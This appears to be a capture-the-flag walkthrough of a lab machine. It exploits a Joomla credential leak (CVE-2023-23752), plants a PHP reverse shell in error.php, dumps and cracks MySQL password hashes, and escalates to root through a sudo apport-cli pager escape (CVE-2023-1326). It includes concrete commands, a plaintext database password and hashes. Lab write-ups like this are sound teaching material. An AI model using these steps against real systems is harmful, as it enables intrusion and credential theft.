This is an Ubuntu machine running a web server created with a vulnerable version of Joomla CMS (CVE-2023-23752). Using a GitHub exploit we dump admin credentials for Joomla, which allows us to upload a PHP reverse shell. Once inside the box, we found a Blowfish hash in an internal MySQL database, which once cracked can be used for a local user SSH access. Regarding escalation, we abuse a vulnerable version of the apport-cli tool (CVE-2023-1326) that the local user can run with sudo
Select the Cassiopeia template and find a writable PHP file; for example, the error.php file. Overwrite error.php with a PHP reverse shell of your choice.
Once the reverse shell is received, first step is to upgrade the shell to a Python TTY, then enumerate users who have a configured shell in the /etc/passwd file.
So our next goal will be to move laterally to user logan
First, move to the web root directory and look for interesting files. In the directory /var/www/dev.devvortex.htb you find a configuration PHP file which contains MySQL credentials.
This file contains credentials for user lewis in a MySQL database. In fact, there is a local MySQL server running internally on port 3306 (it can be discovered with netstat). Connect to it using Lewis' credentials.
> mysql -h localhost -u lewis -pP4ntherg0t1n5r3c0n##
Navigate through the database, and dump hashes in the sd4fg_users table in the joomla database.
>select username,password from sd4fg_users;+----------+--------------------------------------------------------------+|username|password|+----------+--------------------------------------------------------------+|lewis| $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u||logan| $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12|+----------+--------------------------------------------------------------+2rowsinset (0.00 sec)
Logan's password hash is type Blowfish (module 3200).
> hashcat -m 3200 -a 0 -d 1 hash.txt .\rockyou.txt
From the reverse shell, just su logan with cracked credentials and get user flag.
SYSTEM
Begin from an SHH shell for user logan and verify if he is a sudoer.
> sudo -l[sudo] password for logan:MatchingDefaultsentriesforloganondevvortex:env_reset,mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUserloganmayrunthefollowingcommandsondevvortex: (ALL:ALL) /usr/bin/apport-cli
Turns out user logan can execute application apport-cli with sudo. Investigating this application, we find out it is used to inspect crash dump files.
It seems versions earlier than 2.26 use less as pager, and this can be exploited for privilege escalation if run under root, which is the case for this user.
Check which version of apport-cli is running.
> sudo /usr/bin/apport-cli -v2.20.11
So it seems version installed is vulnerable. We just need run a .crash file long enough so the binary calls the pager when parsing it. Investigating ways to generate a crash in Ubuntu, we find 2 resources:
Following the instructions, let's first configure bash to save large dumps.
> ulimit -c unlimited
Then force a segmentation fault, so the core is dumped in a large crash file.
> sleep 10 &> killall -SIGSEGV sleep
If everything went well (wrong, in fact), a message indicating the core has been dumped is shown, and a crash file should have been saved in the /var/crash directory.
Launch the apport-cli tool with the generated dump file, the less pager will be called to display contents.
> sudo /usr/bin/apport-cli --crash-file=/var/crash/_usr_bin_sleep.1000.crash*** Send problem report to the developers?Aftertheproblemreporthasbeensent,pleasefillouttheformintheautomaticallyopenedwebbrowser.Whatwouldyouliketodo?Youroptionsare:S:Sendreport (30.1 KB)V:ViewreportK:KeepreportfileforsendinglaterorcopyingtosomewhereelseI:CancelandignorefuturecrashesofthisprogramversionC:CancelPleasechoose (S/V/K/I/C): v*** Collecting problem informationThecollectedinformationcanbesenttothedeveloperstoimprovetheapplication.Thismighttakeafewminutes.
Just enter !sh to interrupt the pager and force it to open a shell. The spawned shell will be root shell since apport-cli was run with sudo